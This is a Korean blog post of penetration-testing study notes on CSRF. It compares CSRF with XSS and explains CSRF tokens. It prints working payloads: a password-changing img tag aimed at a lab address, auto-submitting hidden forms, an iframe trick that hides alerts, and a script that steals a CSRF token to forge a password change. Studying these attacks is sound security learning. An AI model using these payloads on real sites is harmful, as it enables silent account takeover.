ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CSRF(Cross Site Request Forgery) [12주차]
    모의해킹스터디5기(feat.Normaltic) 2024. 1. 29. 17:07

      

     

     

     

    지난주에 마무리했던 XSS에 이어 오늘부터는 새로운 공격 기법을 배운다.

    CSRF는 XSS와 비슷한 점이 많은 공격 기법이다. 둘의 차이를 비교하면서 정리하도록 하겠다.


    CSRF의 정의

    CSRF, Cross-Site Request Forgery의 줄임말로 사이트 간의 요청 위조를 뜻한다.

    웹 어플리케이션의 취약점으로 사용자가 의도하지 않은 사이트 요청을 하게 하는 공격이다.

     

    예를 들어 사용자가 원하지 않았는데 비밀번호를 1234로 바꾸는 요청을 보내도록 하는 게 CSRF의 일종이다.

     

     

     

     

    CSRF vs XSS

    CSRF와 XSS은 둘 다 사용자를 공격하는 기법이다.

     

    차이점은 XSS는 클라이언트 측 취약점을 파악해 해커가 심어둔 악성 스크립트가 실행되는 것으로 쿠키 정보를 전달하는 등의 스크립트로 인한 공격이 실행되지만 CSRF는 비밀번호를 변경하는 요청을 서버로 보내는 등 기존에 존재하는 요청이 실행된다는 점이다.

     

    CSRF와 XSS를 합친 공격이 이루어진다면 훨씬 위험한 공격이 된다. 클릭할 필요도 없이(Zero Click) 링크에 들어가기만 해도 비밀번호가 변경되는 공격을 만들어낼 수 있다.

    <img src="https://192.168.50.144/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change">

     

    XSS 취약점이 존재하는 곳에 위의 스크립트를 삽입하면 해당 페이지에 접근하는 것으로 비밀번호를 변경을 할 수 있다. 물론 비밀번호를 변경하는 것에 CSRF 취약점도 존재해야 한다. 추가적인 스크립트를 통해 사용자가 공격을 눈치 못 채게 할 수도 있다.

     

     

     

     

    CSRF는 어디에서 일어나는가?

    A) 모든 페이지 요청에서.

     

    사용자의 의도와 상관없는 모든 요청이 CSRF가 될 수 있다. 어떤 것까지 공격으로 간주하는지에 대한 관점에 따라서 취약점으로 볼 수도 있고 아닐 수도 있다.  

     

     

     

     

     

    CSRF Token

    CSRF 공격을 막기 위해 만든 랜덤 값을 지닌 토큰이다. 서버 측에서 생성한 토큰으로 클라이언트 측에서 요청을 보낼 때 서버 측과 동일한 토큰 값을 포함하지 않으면 요청을 거부하는 방식이다. 하지만 우회가 가능하다.

     

     

     

     

     

    CSRF 코드

    • POST form 태그를 이용한 공격
    <h1>아래 버튼을 클릭해주세요!</h1>
    
    <form method="POST" action="https://vuln-site">
      <input type="hidden" name="password" value="1234">
      <input type="submit" value="Click Me">
    </form>

     

    "Click Me" 버튼을 누르면 POST 방식으로 CSRF 취약 페이지로 변경될 비밀번호가 함께 요청되는 공격이다.

     

     

     

    • POST form 태그를 이용한 자동 전송
    <form method="POST" action="https://vuln-site.com/vulnPage.php" id="myForm">
      <input type="hidden" name="email" value="normaltic@test.com">
    </form>
    
    <script>
      document.getElementById('myForm').submit();
    </script>

     

    버튼을 생성하지 않고 스크립트를 이용해 자동으로 전송하는 공격이다.

     

     

     

    • alert 없이 POST form 태그를 이용한 공격 (+ iframe)
    <iframe sandbox="allow-scripts allow-forms allow-pointer-lock allow-same-origin" style="display:none" name="myFrame"></iframe>
    
    <form action="https://vuln-site.com/vulnPage.php" method="POST" target="myFrame" id="csrfForm" name="csrfForm">
      <input type="hidden" name="pw" value="1234"/>
    </form>
    
    <img src=x onerror="document.csrfForm.submit()">

     

    혹시라도 비밀번호 변경하는 등의 공격을 성공했을 때 뜨는 알림창을 없앨 수 있는 방법이다. iframe의 sandbox 속성으로 알림창과 같은 popup 기능을 설정할 수 있다. 당연히 공격은 iframe 안에서 이루어져야 한다.

     

     

     

    • iframe으로 CSRF Token 탈취한 후 공격
    <iframe sandbox="allow-scripts allow-forms allow-pointer-lock allow-same-origin" width="0" height="0" border="0" style="display:none" name="myFrame" id="if"></iframe>
    
    <form id="form1" action="csrf취약페이지" method="post" enctype="multipart/form-data" target="myFrame">
      <input type="hidden" name="pw" value="1234">
      <input id="token" type="hidden" name="csrf_token" value="" />
    </form>
    
    <script type="text/javascript">
    function f1(){
      x1=document.getElementById("i1");
      x1d=(x1.contentWindow||x1.contentDocument);
      //csrf토큰 정보를 가진 dom
      t=x1d.document.getElementsByName("csrf_token")[0].value;
        
      document.getElementById("token").value=t;
      document.getElementById("form1").submit();
    }
    </script> 
    
    <iframe id="i1" style="display:none" src="csrf토큰이 존재하는 페이지" onload="javascript:f1();"></iframe>

     

    iframe으로 csrf token의 정보가 존재하는 페이지에서 dom 정보를 탈취한 후 토큰 정보를 포함한 csrf 공격이다.

Designed by Tistory.